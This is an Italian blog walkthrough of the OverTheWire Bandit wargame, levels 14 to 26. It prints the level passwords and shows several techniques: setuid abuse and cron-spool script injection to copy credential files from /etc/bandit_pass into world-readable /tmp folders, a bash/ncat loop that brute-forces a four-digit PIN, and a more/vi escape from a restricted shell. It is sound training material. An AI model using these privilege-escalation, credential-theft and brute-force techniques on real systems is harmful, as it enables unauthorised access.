Rubrica Wargame: Imparare ad utilizzare il terminale con Bandit [Livello 14-26]

Tempo di lettura: 14 minuti

Questo articolo è il seguito del precedente, che ho deciso di dividere per evitare di creare due pagine e far un post troppo lungo. Nei primi livelli si sono usati diversi comandi, tra i quali find, cat, sort, tr e molti altri. Nei prossimi il livello di difficoltà aumenterà gradualmente, ma cercherò di spiegare ogni passaggio il più approfonditamente possibile, in modo da esser chiaro per tutti.

La password del livello 13 era

8ZjyCRiBWFYkneahHwxCv3wb2a1ORpYL

Mi connetto ora all’account bandit13 del server

bandit.labs.overthewire.org

tramite ssh.

Livello 14

Dopo essermi connesso, vedo che è presente solo un file, il quale contiene un chiave privata.

lvl14
lvl14

Per il prossimo livello, non serve una password, ma basta utilizzare questa chiave per connettersi all’utente bandit14.

Basta digitare all’interno del server una semplice opzione in più rispetto al solito comando di ssh, ossia:

 ssh -i sshkey.private bandit14@localhost

L’opzione -i ci permette di selezionare un file (nel nostro caso sshkey.private che permette di connettersi all’utente bandit14.

Ora che siamo connessi, visualizziamo la password salvata nel file _ /etc/bandit_pass/bandit14 _(come scritto sul sito).

  cat /etc/bandit_pass/bandit14
4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e

Livello 15

Il suggerimento ora mostrato ci avvisa che la password può essere trovata inviando quella trovata precedentemente alla porta 30000 di localhost. Per poter effettuare questa operazione si può utilizzare Telnet. Esso è solitamente utilizzato per compiere sessioni di login da remoto tra diversi host connessi alla rete, che possono essere server o altri dispositivi di cui conosciamo le credenziali. Per chi non lo conoscesse, alcuni comandi base possono essere trovati a questo indirizzo.

Per trovare la password basta un attimo. Digitiamo il comando per effettuare la connessione richiesta e inseriamo le credenziali di accesso

bandit14@melinda:~$ telnet localhost 30000
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e     <span style="text-decoration: underline;">/*digito la password*/</span>
Correct!
BfMYroe26WYalil77FoDi9qh59eK5xNr

Connection closed by foreign host.

Livello 16

Come il livello precedente, per trovare la password basta connettersi a localhost sulla porta 30001, ma stavolta utilizzando una connessione cifrata SSL. Invece che utilizzare telnet, utilizzeremo OpenSSL. Come prima, per chi non avesse conoscenze a riguardo, consiglio di dare una lettura a questo sito.

N.B. Se digitate il comando correttamente ma ricevete errore “HEARTBEATING” e “Read R BLOCK” utilizzate l’opzione -ign_eof

Digito il comando di connessione con OpenSSL

bandit15@melissa:~$ openssl s_client -connect localhost:30001
CONNECTED(00000003)
depth=0 /CN=melissa.labs.overthewire.org
verify error:num=18:self signed certificate
verify return:1
depth=0 /CN=melissa.labs.overthewire.org
verify return:1
---
Certificate chain
[...INFORMAZIONI SUL CERTIFICATO..]
Compression: 1 (zlib compression)
Start Time: 1363810708
Timeout   : 300 (sec)
Verify return code: 18 (self signed certificate)
---
BfMYroe26WYalil77FoDi9qh59eK5xNr   <span style="text-decoration: underline;">/*digito la password*/</span>
Correct!
cluFn7wTiGryunymYOu4RcffSxQluehd

Livello 17

L’operazione da compiere ora è sempre la stessa, ma non ci viene detta la porta da utilizzare, solo il range compreso tra 31000 e 32000. Per chi avesse letto l’articolo su Nmap saprà sicuramente come fare a trovare quale tra le tante è aperta, altrimenti vi consiglio di leggerlo!

Per prima cosa effettuo una scansione delle porte per vedere quali sono aperte e i servizi attivi su di essi:

<img src="https://hacktips.it/wp-content/uploads/2016/07/lvl17.1.png" alt="lvl17.1" height="243" class="size-full wp-image-872 aligncenter" width="656"></img>

Noto che due hanno attivo un servizio Microsoft, quindi testo provo manualmente i due (di cui solo uno conterrà la password che ci serve). Mi connetto utilizzando la stessa istruzione di prima

 openssl s_client -connect localhost:31790

Ed inserisco la password

lvl17.2
lvl17.2
Non ha stampato una password, ma una chiave privata RSA! Come nel livello 14, mi servirà per accedere al livello successivo.

Creo ora una cartella temporanea per salvare la chiave privata e per poterla utilizzare

mkdir /tmp/lvl17hk
cd /tmp/lvl17hk

Ora creo il file che conterrà la chiave privata

touch sshkey.private
vi sshkey.private

e lo incollo in vi. Per salvare basta premere “CTRL+o” e digitare “:wqa”. In questo modo salva e chiude il file (nel file incollate anche il commento all’inizio e alla fine della chiave privata, quello che inizia con —–BEGIN RSA PRIVATE KEY—–). Cambio i permessi al file, altrimenti il server darà errore

chmod 600 sshkey.private

Ed infine mi connetto al livello successivo con il solito comando

ssh -i sshkey.private bandit17@localhost

Livello 18

Questo livello è uno dei più semplici in tutto il gioco. Digitanto ls noto che sono presenti due file, _passwords.old _e passwords.new. Una delle stringhe che si differenziano tra i due file è la password che ci permette di connetterci al prossimo livello.

Esiste un comando che permette di effettuare l’operazione di differenza, ed è

diff passwords.new passwords.old
42c42
< kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd --- > BS8bqB1kqkinKJjuxL6k072Qq9NRwQpR

Le stringhe trovate sono solo tre, per cui le provo una ad una fino a quando scopro che è kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd. Il server ci risponderà con “ByeBye!” e si disconnetterà automaticamente ma questo è un problema da risolvere nel livello successivo.

Livello 19

La password è salvata nel file readme, ma è stato modificato il file **.bashrc **e non ci permette di fare il login.

È comunque possibile effettuare il comando cat insieme al log in, in modo che prima di effettuare il logout, stampi la password.

lvl18
lvl18

Livello 20

In questo livello la password è salvata nella posizione classica /etc/bandit_pass ma bisogna utilizzare il setuid presente nella home per ricevere i permessi. Per prima cosa proviamo ad eseguirlo senza nessun argomento

bandit19@melinda:~$ ./bandit20-do 
Run a command as another user.
  Example: ./bandit20-do id

Provo quindi ad eseguirlo come da suggerimento

./bandit20-do id
uid=11019(bandit19) gid=11019(bandit19) euid=11020(bandit20) groups=11020(bandit20),11019(bandit19)

Verifico a quale gruppo appartengo con i permessi del setuid

./bandit20-do whoami
bandit20

Con queste informazioni posso ora accedere al file con la password e visualizzarla

 ./bandit20-do cat /etc/bandit_pass/bandit20
GbKksEFF4yrVs6il55v6gwY5aVje5f0j

Livello 21

Come prima, c’è un setuid nella cartella home. Utilizzando quel file dobbiamo creare una connessione su localhost con una porta specificata da noi. Dopo averla creata, inviamo la password al server e, se viene letta e riconosciuta, ci rimanderà indietro quella del prossimo livello. Cercherò di spiegarmi meglio con qualche indizio:

  • Bisogna aprire due terminali, ed effettuare i rispettivi login sull’accounto bandit20;
  • Da un terminale, con il software Netcat bisogna aprire una comunicazione interna sulla porta decisa da noi. Per capire come fare potete leggere il manuale, altrimenti questa pagina;
  • Dall’altro terminale utilizziamo il setuid per connetterci a quella porta;
  • Inviamo la password dal primo terminale, il secondo la leggerà e ritornerà la nuova password da utilizzare per il livello successivo.
lvl20
lvl20

La password è quindi gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr.

Livello 22

Un programma è in esecuzione automatica a intervalli regolari da cron , ossia il job scheduler time-based . Bisogna cercare in /etc/cron.d/ e vedere che cosa fa il comando quando è in esecuzione.

Ci spostiamo per prima cosa nella cartella segnalata e visualizziamo i file all’interno

cd /etc/cron 
ls

Troviamo un file _cronjob_bandit22 _ che vediamo con il comando cat

cat cronjob_bandit22 
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null

Come appena fatto, guardiamo cosa contiene lo script che è in esecuzione

cat /usr/bin/cronjob_bandit22.sh 
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv

La password sembra essere nel file temporaneo a destra e per visualizzarla basta utilizzare ancora cat

cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI
lvl21
lvl21

Livello 23

Questo livello è praticamente uguale a quello di prima, cambia solamente lo script e ciò che dobbiamo digitare in quel punto. La cosa importante, ed è una regola generale, è di leggerlo attentamente, capire cosa fa e cosa sta facendo (ricordo che è in esecuzione, quindi non bisogna eseguirlo) e quali parametri richiede.

Eseguo gli stessi passaggi precedenti, fino a leggere lo script

bandit22@melinda:cd /etc/cron.d

bandit22@melinda:/etc/cron.d$ ls
behemoth4_cleanup  cronjob_bandit23       leviathan5_cleanup    natas-session-toucher  natas25_cleanup~  php5        semtex0-ppc  vortex0
cron-apt           cronjob_bandit24       manpage3_resetpw_job  natas-stats            natas26_cleanup   semtex0-32  semtex5      vortex20
cronjob_bandit22   cronjob_bandit24_root  melinda-stats         natas25_cleanup        natas27_cleanup   semtex0-64  sysstat

bandit22@melinda:/etc/cron.d$ cat cronjob_bandit23 
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh  &> /dev/null
bandit22@melinda:/etc/cron.d$ cat /usr/bin/cronjob_bandit23.sh 
#!/bin/bash

myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)

echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"

cat /etc/bandit_pass/$myname > /tmp/$mytarget

Quindi nel file $mytarget sarà presente la password, e per sapere la posizione basta effettuare l’istruzione echo presente nella seconda riga.

_myname _varrà bandit23, ossia il nome utente che possiede la password, per il resto basta copiare l’istruzione della variabile target

bandit22@melinda:/etc/cron.d$ echo I am user bandit23 | md5sum | cut -d ' ' -f 1
8ca319486bfbbc3663ea0fbe81326349

Ed ecco che viene stampato il nome del file /tmp/$mytarget.

Effettuo ora un cat su quel file

bandit22@melinda:/etc/cron.d$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349
jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n

E ora abbiamo la password per accedere al prossimo livello.

Livello 24

La difficoltà ora aumenta di poco, ed avremo la possibilità di creare uno script per poter ricevere la password, altrimenti nascosta. Come prima, bisogna andare nella cartella /etc/cron.d e leggere il solito file. Dalla lettura dello script e delle istruzioni in esso cercheremo di capire come creare il nostro programma e che tipo di operazioni dovremo effettuare.

Entro nella cartella e apro lo script

bandit23@melinda:~$ cd /etc/cron.d

bandit23@melinda:/etc/cron.d$ ls
behemoth4_cleanup  cronjob_bandit23       leviathan5_cleanup    natas-session-toucher  natas25_cleanup~  php5        semtex0-ppc  vortex0
cron-apt           cronjob_bandit24       manpage3_resetpw_job  natas-stats            natas26_cleanup   semtex0-32  semtex5      vortex20
cronjob_bandit22   cronjob_bandit24_root  melinda-stats         natas25_cleanup        natas27_cleanup   semtex0-64  sysstat

bandit23@melinda:/etc/cron.d$ cat cronjob_bandit24 
* * * * * bandit23 /usr/bin/cronjob_bandit24.sh  &> /dev/null

bandit23@melinda:/etc/cron.d$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname
echo "Executing and deleting all scripts in /var/spool/$myname:"
for i in * .*;
do
    if [ "$i" != "." -a "$i" != ".." ];
    then
    echo "Handling $i"
    timeout -s 9 60 "./$i"
    rm -f "./$i"
    fi
done

Questo piccolo programa esegue quindi tutti gli script in /var/spool/$myname e lo rimuove dopo l’esecuzione.  Lo script che dobbiamo creare deve solamente spostare la password dalla solita posizione /etc/bandit_pass/bandit24 ad una cartella temporanea che possiamo leggere. Creo ora una cartella in cui posso scrivere lo script

 mkdir /tmp/hacktips
cd /tmp/hacktips

Con VI creo ora lo script

vi pass.sh
#!/bin/sh
Pass=$(cat /etc/bandit_pass/bandit24)  /*salvo in Pass il contenuto di bandit24
echo $Pass >> /tmp/hacktips/password.txt /*copio Pass in un file presente nella mia cartella

Ricordo che per scrivere bisogna premete i, mentre per salvare e chiudere VI “CTRL+o” e digitare “:wqa” Do i permessi allo script, in modo che possa essere eseguito all’interno della cartella spool

chmod 777 pass.sh

La copio nella cartella in cui vengono eseguiti i programmi

cp /tmp/hacktips/pass.sh /var/spool/bandit24/

E do i permessi anche alla cartella temporanea

chmod -R 777 /tmp/hacktips

Attendo ora un paio di minuti, poichè ogni minuto dovrebbe eseguire gli script presenti in spool.

bandit23@melinda:/tmp/hacktips$ ls
pass.sh  
#dopo un paio di minuti
bandit23@melinda:/tmp/hacktips$ ls
pass.sh  password.txt
bandit23@melinda:/tmp/hacktips$ cat password.txt 
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ

Livello 25

Un programma sta ascoltando sulla porta 30002 e ci darà la password solo se gli invieremo la password dello scorso livello insieme a un codice segreto di 4 cifre. Non c’è modo di scoprirlo se non tentando tutte la combinazioni, quindi tramite bruteforce (forza bruta, ossia tentare tutte le combinazioni possibili). Per poterlo effettuare è necessario creare uno script che effettui al posto nostro tutte le combinazioni (o potete farlo a mano, anche se non ve lo consiglio..)

Sempre nella cartella temporanea creata precedentemente, creo la script che effettuerà l’operazione

bandit24@melinda:/tmp/hacktips$ vi bandit25.sh  
#!/bin/bash

for i in {0000..9999}
do
        echo "$i *************"
            echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | ncat 127.0.0.1 30002
        done
bandit24@melinda:/tmp/hacktips$ chmod 777 bandit25.sh
bandit24@melinda:/tmp/hacktips$ ./bandit25.sh

Ci metterà un pò di tempo, dopo circa un’ora lo stoppo (sono arrivato alla combinazione 7000) e cerco se ha stampato la password

lvl25
lvl25

La password è quindi uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG.

Livello 26

Questo livello penso sia uno dei più creativi che abbia mai visto. L’unico suggerimento che ci viene dato è che “La shell per l’utente bandit26 non è /bin/bash, ma qualcos’altro. Scopri di cosa si tratta, come funziona e come uscire da esso.”

Consiglio di provare a visualizzare il file delle password presente in /etc/passwd

Dentro la home notiamo subito un file bandit26.ssh che contiene una chiave privata RSA. Provo a connettermi quindi al livello successivo utilizzandola, ma la connessione viene chiusa immediatamente.

lvl26
lvl26

Provo quindi ad aprire il file delle password con questo comando

cat /etc/passwd

lvl26.1
lvl26.1
Vedo che fa riferimento ad un altro file, per cui lo apro

bandit25@melinda:~$ cat /usr/bin/showtext
#!/bin/sh

more ~/text.txt
exit 0

Sembra che quindi la password sia all’interno del file text.txt, ma provando ad aprirlo la richiesta viene negata

bandit25@melinda:~$ cat /home/bandit26/text.txt
cat: /home/bandit26/text.txt: Permission denied

Dal file showtext sembra che piuttosto che il comando cat debba essere usato more. Prendo quindi il terminale, lo riduco in modo tale che quando stampa la connessione al livello 26 non stampi tutto ma abbia bisogno di utilizzare appunto, more. Digito quindi

 ssh -i bandit26.sshkey bandit26@localhost

lvl26.2
lvl26.2
Ma scorrendo fino in fondo risulta ancora connessione rifiutata. Durante l’utilizzo di More, se digitiamo “V” il sistema automaticamente apre il software vi che permette di modificare il file che stiamo visualizzando.

Digito V
Digito V

E sono dentro al file text.txt! Da questo file di testo, cerco ora di aprire il file contenente la password. Premo CTRL+o e digito

:e /etc/bandit_pass/bandit26

lvl26.4
lvl26.4
Ed ecco che appare la password
lvl26.5
lvl26.5

Il livello 27 purtroppo ancora non esiste. Se mai uscirà, scrivere un articolo per gli aggiornamenti!

Conclusioni

Il gioco è concluso, e dopo 26 livelli spero che anche chi è alle prime armi sia riuscito in gran parte a finire i livelli in modo autonomo. In teoria, dopo questo gioco è consigliato (sempre sul sito overthewire) di continuare con Natas, Leviathan oppure Krypton. Non so se continuerò con questi livelli (ancora non ho deciso), preferirei introdurre altri siti e altri giochi sempre più diversificati e con diversi livelli di difficoltà. Se avete qualche dubbio non esitate a commentare!